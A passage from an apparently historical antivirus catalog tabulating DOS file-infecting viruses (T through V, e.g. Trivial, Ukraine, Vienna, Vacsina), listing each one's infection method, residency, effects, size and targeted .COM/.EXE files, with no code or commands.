º.Girafe (2)¦INT ¦MCB ¦ V ¦3000 ¦ .C.E&CE* ¦ e ¦ L+? º
º.Kela.4546 ¦INT ¦MCB ¦ V ¦4546 ¦ .C.E&CE* ¦ e ¦ L+? º
º.Lamer ¦INT ¦MCB ¦ HV ¦3340 ¦ E * ¦ e ¦ L+? º
º.PoetCode ¦INT ¦MCB ¦ Er ¦2114 ¦ .C.E&CE ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTPVO.3654 ¦INT ¦MCB ¦ V ¦3654 ¦ CE ¦ e ¦ L º
ºTPVO.3783 ¦INT ¦MCB ¦ - ¦3783 ¦ CENE+boot*¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTrakia.561 ¦INT ¦MCB ¦ - ¦561 ¦ CE * ¦ e ¦ C-L, E-L+p º
ºTrakia.570 ¦INT ¦MCB ¦ - ¦570 ¦ CE * ¦ e ¦ C-L, E-L+p º
ºTrakia.653 ¦INT ¦MCB ¦ H ¦653 ¦ E * ¦ e ¦ L+p º
ºTrakia.1070 ¦INFI¦MCB ¦ H ¦1070 ¦ CE * ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTrivial.13 ¦FIND¦ - ¦ H ¦13 ¦ *.* ¦ s ¦ L, overwrite º
ºTrivial.26 ¦FIND¦ - ¦ H ¦26 ¦ *.* ¦ s ¦ L, overwrite º
ºTrivial.27 ¦FIND¦ - ¦ H ¦27 ¦ *.* ¦ s ¦ L, overwrite º
ºTrivial.28 (2)¦FIND¦ - ¦ H ¦28 ¦ *.* ¦ s ¦ L, overwrite º
ºTrivial.29 (3)¦FIND¦ - ¦ H ¦29 ¦ *.* ¦ s ¦ L, overwrite º
ºTrivial.30 (3)¦FIND¦ - ¦ H ¦30 ¦ *.* ¦ s ¦ L, overwrite º
ºTrivial.31 (2)¦FIND¦ - ¦ H ¦31 ¦ *.* ¦ s ¦ L, overwrite º
ºTrivial.37 ¦FIND¦ - ¦ H ¦37 ¦ .C ¦ s ¦ L, overwrite º
ºTrivial.40 (2)¦FIND¦ - ¦ H ¦40 ¦ .C ¦ s ¦ L, overwrite º
ºTrivial.42 (2)¦FIND¦ - ¦ H ¦42 ¦ .C ¦ s ¦ L, overwrite º
ºTrivial.46 ¦FIND¦ - ¦ H ¦46 ¦ .C ¦ s ¦ L, overwrite º
ºTrivial.53 ¦FIND¦ - ¦ H ¦53 ¦ .C ¦ s ¦ L, overwrite º
ºTrivial.66 ¦FIND¦ - ¦ H ¦66 ¦ *.* ¦ s ¦ L, overwrite º
ºTrivial.68 ¦FIND¦ - ¦ H ¦68 ¦ *.* ¦ s ¦ L, overwrite º
ºTrivial.89 ¦FIND¦ - ¦ H ¦89 ¦ .C ¦ s ¦ L, overwrite º
ºTrivial.102 ¦FIND¦ - ¦ H ¦102 ¦ .C ¦ s ¦ L, overwrite º
ºTrivial.128 (2)¦FIND¦ - ¦ H ¦128 ¦ .C ¦ s ¦ L, overwrite º
ºTrivial.133 ¦FIND¦ - ¦ HV ¦133 ¦ .C ¦ s ¦ L, overwrite º
º.Destroer.49 ¦FIND¦ - ¦ H ¦49 ¦ .C * ¦ s ¦ L, overwrite º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTrojector.1463 ¦INT ¦MCB ¦ - ¦1463 ¦ .C.E&CE ¦ e ¦ L º
ºTrojector.1648 ¦INT ¦MCB ¦ - ¦1648 ¦ .C.E&CE ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTruxested.based¦INT ¦MCB ¦ V ¦ ? ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTsh.2UP.6000 ¦INT ¦MCB ¦HVEr¦6000 ¦ CEO * ¦ e,i ¦ L º
º.Banana.2413 ¦INT ¦MCB ¦ HV ¦2413 ¦ E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTurn.557 ¦INT ¦MCB ¦ V ¦557 ¦ .C * ¦ s ¦ L º
ºTurn.571 ¦INT ¦MCB ¦ V ¦571 ¦ .C * ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTune.544 ¦INT ¦INTB¦ SEr¦544 ¦ C * ¦ e ¦ L º
ºTune.663 ¦INT ¦MCB ¦ V ¦663 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTV.730 ¦INT ¦MCB ¦ H ¦730 ¦ CE ¦ e ¦ C-L, E-L+p º
ºTV.1919 ¦INT ¦MCB ¦ - ¦1919 ¦ CE ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTwist.290 ¦FIND¦ - ¦ - ¦290 ¦ .C ¦ e ¦ L+(0-255) º
ºTwist.294 ¦FIND¦ - ¦ - ¦294 ¦ .C ¦ e ¦ L+(0-255) º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTabulero.2048(2¦INT ¦KEEP¦ V ¦2048 ¦ E ¦ e ¦ L+p º
ºTarakah.4064 ¦FIND¦ - ¦ V ¦4064 ¦ .E&E * ¦ e ¦ L+p º
ºTCE.Persecute ¦INT ¦MCB ¦ VEr¦3375 ¦ .C.E&CE* ¦ e ¦ L+? º
ºTeacher.2000 ¦INT ¦MCB ¦ VEr¦2000 ¦ E * ¦ e ¦ L º
ºTentacle.10496 ¦INT ¦MCB ¦ Ch ¦10496¦ E * ¦ i,e ¦ L+? º
ºTerronia.2538 ¦INT ¦MCB ¦ - ¦2538 ¦ CE * ¦ e ¦ L º
ºTerrorist.1740 ¦FIND¦ - ¦ HV ¦1740 ¦ .C&C * ¦ e ¦ L+p º
ºThc.1058 ¦INT ¦MCB ¦ V ¦1058 ¦ CE * ¦ e ¦ L º
ºThreeSixs.666 ¦FIND¦ - ¦ H ¦666 ¦ .C ¦ e ¦ L º
ºThunder.1543 ¦INT ¦MCB ¦ VCh¦1543 ¦ CE * ¦ i,e ¦ L º
ºTic.109 ¦FIND¦ - ¦ - ¦109 ¦ .C ¦ s ¦ L º
ºTimishoara.2132¦INT ¦MCB ¦ VS ¦2132 ¦ .C.E&CE ¦ CsEe¦ L º
ºTiso.1279 ¦INT ¦MCB ¦ V ¦1279 ¦ CE+boot*¦ e ¦ L º
ºTodor.1993 ¦FIND¦ - ¦ HEr¦1993 ¦ .C.E * ¦ e ¦ L º
ºTony.338 ¦INT ¦INTB¦ Er ¦338 ¦ C * ¦ i ¦ 0 º
ºToothless.873 ¦INFI¦MCB ¦ VH ¦873 ¦ .C ¦ e ¦ L º
ºTorero.1427 ¦INT ¦MCB ¦ VEr¦1427 ¦ .C ¦ e ¦ L º
ºTraka.1471 ¦INT ¦MCB ¦ - ¦1471 ¦ CE+boot*¦ e ¦ L º
ºTraven.515 ¦FIND¦ - ¦ V ¦515 ¦ .C&C* ¦ e ¦ L º
ºTricks.195 ¦FIND¦ - ¦ - ¦195 ¦ .C ¦ e ¦ L º
ºTrident.346 ¦FIND¦ - ¦ HV ¦346 ¦ .C * ¦ s ¦ 0, overwrite º
ºTrivia.319 ¦FIND¦ - ¦ V ¦319 ¦ .C&C ¦ e ¦ L º
ºTrooper.2259 ¦INT ¦MCB ¦ - ¦2259 ¦ .C.E&CE* ¦ e ¦ L º
ºTrout.6804 ¦INFI¦MCB ¦ - ¦6804 ¦ .C&C* ¦ e ¦ L+? º
ºTrurl.846 ¦INT ¦MCB ¦ - ¦846 ¦ CE * ¦ e ¦ C-L, E-L+p º
ºTrust.867 ¦INT ¦VIDE¦ V ¦867 ¦ C * ¦ e ¦ L º
ºTruth.503 ¦INT ¦KEEP¦ V ¦503 ¦ .C * ¦ s ¦ L º
ºTu28II.535 ¦FIND¦ - ¦ V ¦535 ¦ .C ¦ e ¦ L º
ºTula.417 ¦INT ¦MCB ¦ V ¦417 ¦ C ¦ e ¦ L º
ºTumot.432 ¦INT ¦MCB ¦ - ¦432 ¦ E * ¦ e ¦ L º
ºTurner.3276 ¦INT ¦EMS*¦ HV ¦3276 ¦ CE ¦ i ¦ L+? º
ºTutanchamun.1034INT ¦MCB ¦ - ¦1034 ¦ CE * ¦ e ¦ L º
ºTVED.Trurl ¦FIND¦ - ¦ H ¦789 ¦ .C ¦ s ¦ 0, overwrite º
ºTwin.351 ¦INT ¦KEEP¦ - ¦351 ¦ .E ¦ s ¦ 0, overwrite º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part U
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºUkraine.3201(3)¦INT ¦MCB ¦HVS ¦3201 ¦ CE * ¦ e ¦ L º
ºUkraine.3215 ¦INT ¦MCB ¦HVS ¦3215 ¦ CE * ¦ e ¦ L º
ºUkraine.3300 ¦INT ¦MCB ¦HVS ¦3300 ¦ CE * ¦ e ¦ L º
ºUkraine.3537 ¦INT ¦MCB ¦HVS ¦3537 ¦ CE * ¦ e ¦ L º
ºUkraine.3627 ¦INT ¦MCB ¦HVS ¦3627 ¦ CE * ¦ e ¦ L º
ºUkraine.3633 ¦INT ¦MCB ¦HVS ¦3633 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºUnGame.645 ¦INT ¦MCB ¦ Ch ¦645 ¦ .E&E * ¦ e ¦ L+p º
ºUnGame.823 ¦INT ¦MCB ¦ Ch ¦823 ¦ .C&C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºUnion.1449 ¦FIND¦ - ¦ V ¦1449 ¦ .E&E * ¦ e ¦ L+p º
ºUnion.1531 ¦FIND¦ - ¦ V ¦1531 ¦ .E&E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºUrod.662 ¦FIND¦ * ¦ HV ¦662 ¦ .E * ¦ e ¦ L º
ºUrod.773 ¦FIND¦ * ¦ HV ¦773 ¦ .E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºUruguay.2313 ¦INT ¦MCB ¦ V ¦2313 ¦ CE ¦ ei ¦ L + 1 º
ºUruguay.2379 ¦INT ¦MCB ¦ V ¦2379 ¦ CE ¦ ei ¦ L + 1 º
ºUruguay.2456 ¦INT ¦MCB ¦ V ¦2456 ¦ CE ¦ ei ¦ L + 1 + ? º
ºUruguay.2623 ¦INT ¦MCB ¦ V ¦2623 ¦ CE ¦ ei ¦ L + 1 + ? º
ºUruguay.4268 ¦INT ¦MCB ¦ V ¦4268 ¦ CE ¦ e ¦ L + 1 + ? º
ºUruguay.4879 ¦INT ¦MCB ¦ V ¦4879 ¦ CE ¦ e ¦ L + 1 + ? º
ºUruguay.4906 ¦INT ¦MCB ¦ V ¦4906 ¦ CE ¦ e ¦ L + 1 + ? º
ºUruguay.6262 ¦INT ¦MCB ¦ V ¦6262 ¦ CE ¦ e ¦ L + 1 + ? º
ºUruguay.6344 ¦INT ¦MCB ¦ V ¦6344 ¦ CE ¦ e ¦ L + 1 + ? º
ºUruguay.6396 ¦INT ¦MCB ¦ V ¦6396 ¦ CE ¦ e ¦ L + 1 + ? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºUddy.2617 (2)¦INFI¦MCB ¦ HV ¦2617 ¦ .E * ¦ e ¦ L+p º
ºUFO.1468 ¦INT ¦MCB ¦ Ch ¦1468 ¦ E * ¦ e ¦ L+p º
ºUnbidden.507 ¦FIND¦ - ¦ - ¦507 ¦ .C.E&CE* ¦ e ¦ L º
ºUrphin.1621 ¦INT ¦MCB ¦ - ¦1621 ¦ CE*.PAS*¦ e ¦ C-L, E-L+p º
ºUSAHymn.1339 ¦FIND¦ - ¦ S ¦1339 ¦ .C * ¦ s ¦ L º
ºUVR.3919 ¦INT ¦KEEP¦ HV ¦3919 ¦ C ¦ e ¦ L º
ºUVScan.1633 ¦INT ¦MCB ¦ - ¦1633 ¦ CE * ¦ e ¦ L+? º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part V
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºV2Px.1260 ¦FIND¦ - ¦ - ¦1260 ¦ .C * ¦ e ¦ L º
º.V2P6.1993 ¦FIND¦ - ¦ - ¦1993 ¦ .C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºVacsina.634 ¦INT ¦MCB ¦ H ¦634 ¦ CE * ¦ e ¦ L º
ºVacsina.1206 ¦INT ¦MCB ¦ - ¦1206 ¦ CE * ¦ e ¦ C-L+p,E-L+p+132 º
ºVacsina.1212 ¦INT ¦MCB ¦ - ¦1212 ¦ CE * ¦ e ¦ C-L+p,E-L+p+132 º
ºVacsina.1269 ¦INT ¦MCB ¦ V ¦1269 ¦ CE * ¦ e ¦ C-L+p,E-L+p+132 º
ºVacsina.1339 ¦INT ¦MCB ¦ - ¦1339 ¦ CE * ¦ e ¦ C-L+p,E-L+p+132 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºVCC.based ¦FIND¦ - ¦ ? ¦ ? ¦ .C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºVCL.466 ¦FIND¦ - ¦ S ¦466 ¦ .E * ¦ s ¦ L, companion º
ºVCL.662 ¦FIND¦ - ¦ HV ¦662 ¦ .C.E * ¦ s ¦ 0, overwrite º
º.BeePoP.587 ¦FIND¦ - ¦ V ¦587 ¦ .E * ¦ s ¦ L, companion º
º.Mom.974 ¦FIND¦ - ¦ H ¦974 ¦ .C.E * ¦ e ¦ L+p º
º.Timothy ¦FIND¦ - ¦ V ¦641 ¦ .E * ¦ s ¦ L, companion º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºVCS.based ¦FIND¦ - ¦ H ¦ ? ¦ .C ¦ e ¦ L º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºVCS.Manta ¦FIND¦ - ¦ VH ¦1077 ¦ .C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºVICE-based viruses º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºVICE.Code ¦INT ¦MCB ¦ HEr¦3952 ¦ .C.E&CE* ¦ e ¦ L+? º
º.One13th ¦INT ¦MCB ¦ H ¦2706 ¦ CE * ¦ e ¦ L+? º
º.Sample ¦INT ¦MCB ¦ - ¦2406 ¦ CE ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºVienna.318 ¦FIND¦ - ¦ - ¦318 ¦ .C ¦ e ¦ L º
ºVienna.435 ¦FIND¦ - ¦ H ¦435 ¦ .C ¦ e ¦ L º
ºVienna.458 ¦FIND¦ - ¦ - ¦458 ¦ .C * ¦ e ¦ L º
ºVienna.462 ¦FIND¦ - ¦ - ¦462 ¦ .C * ¦ e ¦ L º
ºVienna.466 ¦FIND¦ - ¦ - ¦466 ¦ .C ¦ e ¦ L º
ºVienna.481 ¦FIND¦ - ¦ H ¦481 ¦ .C * ¦ e ¦ L º
ºVienna.483 ¦FIND¦ - ¦ - ¦483 ¦ .C&C* ¦ e ¦ L º
ºVienna.486 ¦FIND¦ - ¦ - ¦486 ¦ .C ¦ e ¦ L º
ºVienna.502 ¦FIND¦ - ¦ H ¦502 ¦ .C * ¦ e ¦ L º
ºVienna.507 (2)¦FIND¦ - ¦ - ¦507 ¦ .C ¦ e ¦ L º
ºVienna.520 ¦FIND¦ - ¦ - ¦520 ¦ .C ¦ e ¦ L º
ºVienna.533 ¦FIND¦ - ¦ H ¦533 ¦ .C ¦ e ¦ L º
ºVienna.534 (4)¦FIND¦ - ¦ - ¦534 ¦ .C ¦ e ¦ L º
ºVienna.535 ¦FIND¦ - ¦ H ¦535 ¦ .C ¦ e ¦ L º
ºVienna.547 (2)¦FIND¦ - ¦ H ¦547 ¦ .C * ¦ e ¦ L+p º
ºVienna.565 ¦FIND¦ - ¦ H ¦565 ¦ .C ¦ e ¦ L º
ºVienna.576 ¦FIND¦ - ¦ - ¦576 ¦ .C ¦ e ¦ L º
ºVienna.604 ¦FIND¦ - ¦ H ¦604 ¦ .C ¦ e ¦ L º
ºVienna.613 ¦FIND¦ - ¦ S ¦613 ¦ .C&C ¦ e ¦ L º
ºVienna.618 ¦FIND¦ - ¦ H ¦618 ¦ .C ¦ e ¦ L º
ºVienna.621 ¦FIND¦ - ¦ H ¦621 ¦ .C ¦ e ¦ L º
ºVienna.623 ¦FIND¦ - ¦ H ¦623 ¦ .C ¦ e ¦ L º
ºVienna.625 ¦FIND¦ - ¦ V ¦625 ¦ .C * ¦ e ¦ L º
ºVienna.626 ¦FIND¦ - ¦ H ¦626 ¦ .C ¦ e ¦ L º
ºVienna.645 (2)¦FIND¦ - ¦ H ¦645 ¦ .C ¦ e ¦ L º
ºVienna.644 ¦FIND¦ - ¦ - ¦644 ¦ .C ¦ e ¦ L º
ºVienna.648 ¦FIND¦ - ¦ H ¦648 ¦ .C ¦ e ¦ L º
ºVienna.660 ¦FIND¦ - ¦ V ¦660 ¦ .C ¦ e ¦ L º
ºVienna.757 ¦FIND¦ - ¦ - ¦757 ¦ .C ¦ e ¦ L º
ºVienna.776 ¦FIND¦ - ¦ V ¦776 ¦ .C * ¦ e ¦ L º
ºVienna.822 ¦FIND¦ - ¦ - ¦822 ¦ .C ¦ e ¦ L º
ºVienna.833 ¦FIND¦ - ¦ - ¦833 ¦ .C ¦ e ¦ L º
ºVienna.843 ¦FIND¦ - ¦ H ¦843 ¦ .C ¦ e ¦ L º
ºVienna.998 ¦FIND¦ - ¦ - ¦998 ¦ .C ¦ e ¦ L º
ºVienna.1006 ¦FIND¦ - ¦ S ¦1006 ¦ .C ¦ e ¦ L º
ºVienna.1239 ¦FIND¦ - ¦ H ¦1239 ¦ .C * ¦ e ¦ L º
ºVienna.23693 ¦FIND¦ - ¦ HV ¦23693¦ .C ¦ e ¦ L º
º.Twer ¦FIND¦ - ¦ - ¦1000 ¦ .C&C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºViking.59 ¦INT ¦INTB¦ - ¦59 ¦ C * ¦ s ¦ L º
ºViking.1000 (3)¦INT ¦MCB ¦ V ¦700 ¦ CE ¦ e ¦ L º
ºViking.1024 (2)¦INT ¦MCB ¦ V ¦1024 ¦ CE ¦ e ¦ L º
ºViking.1333 ¦INFI¦MCB ¦ V ¦1333 ¦ CE ¦ e ¦ L+p º
ºViking.2000 ¦INFI¦MCB ¦ V ¦2000 ¦ CE ¦ e ¦ L º
º.Mixtura ¦INT ¦MCB ¦ - ¦1000 ¦ CEO * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºVinnitsa.1046 ¦FIND¦ - ¦ H ¦1046 ¦ .C.E&CE* ¦ e ¦ L+p º
ºVinnitsa.1207 ¦INT ¦MCB ¦ HCh¦1207 ¦ .E&E * ¦ e ¦ L+? º
ºVinnitsa.1620 ¦INT ¦MCB ¦ H ¦1620 ¦ .C.E&CE* ¦ e ¦ L º
ºVinnitsa.1658 ¦INT ¦MCB ¦ H ¦1658 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºVirCheck.2161 ¦INT ¦MCB ¦ V ¦2161 ¦ CE * ¦ e ¦ L+p º
ºVirCheck.2170 ¦INT ¦MCB ¦ V ¦2170 ¦ CE * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºVirogen.ASeXual¦INT ¦MCB ¦ HV ¦1673 ¦ .C.E * ¦CeEs ¦ C-L+?,E-companionº
º.BombTrack ¦INFI¦MCB ¦ H ¦2349 ¦ .C.E&CE* ¦ e ¦ L+? º
º.Offspring.711 ¦INFI¦KEEP¦ V ¦711 ¦ .E * ¦ s ¦ companion º
º.Offspring.1130¦INFI¦MCB ¦ V ¦1130 ¦ .C.E * ¦CeEs ¦ C-L+?,E-companionº
º.Offspring.1294¦INFI¦MCB ¦ V ¦1294 ¦ .C.E * ¦CeEs ¦ C-L+?,E-companionº
º.Offspring.1555¦INFI¦MCB ¦ V ¦1555 ¦ .C.E * ¦CeEs ¦ C-L+?,E-companionº
º.PinWorm ¦INFI¦MCB ¦ H ¦2150 ¦ .C.E&CE* ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºVirus90.857 ¦FIND¦ - ¦ V ¦857 ¦ .C * ¦ e ¦ L º
ºVirus101.2560 ¦FIND¦ - ¦ HV ¦2560 ¦ .C.E&CE* ¦ e ¦ L, COMMAND.COM-0 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºViv.513 ¦INT ¦MCB ¦ Er ¦513 ¦ C * ¦ e ¦ L º
ºViv.524 ¦INT ¦MCB ¦ - ¦524 ¦ C * ¦ e ¦ L º
ºViv.771 ¦INT ¦MCB ¦ Er ¦771 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºVlad.Antipode ¦INT ¦MCB ¦ - ¦802 ¦ .C * ¦ e ¦ L º
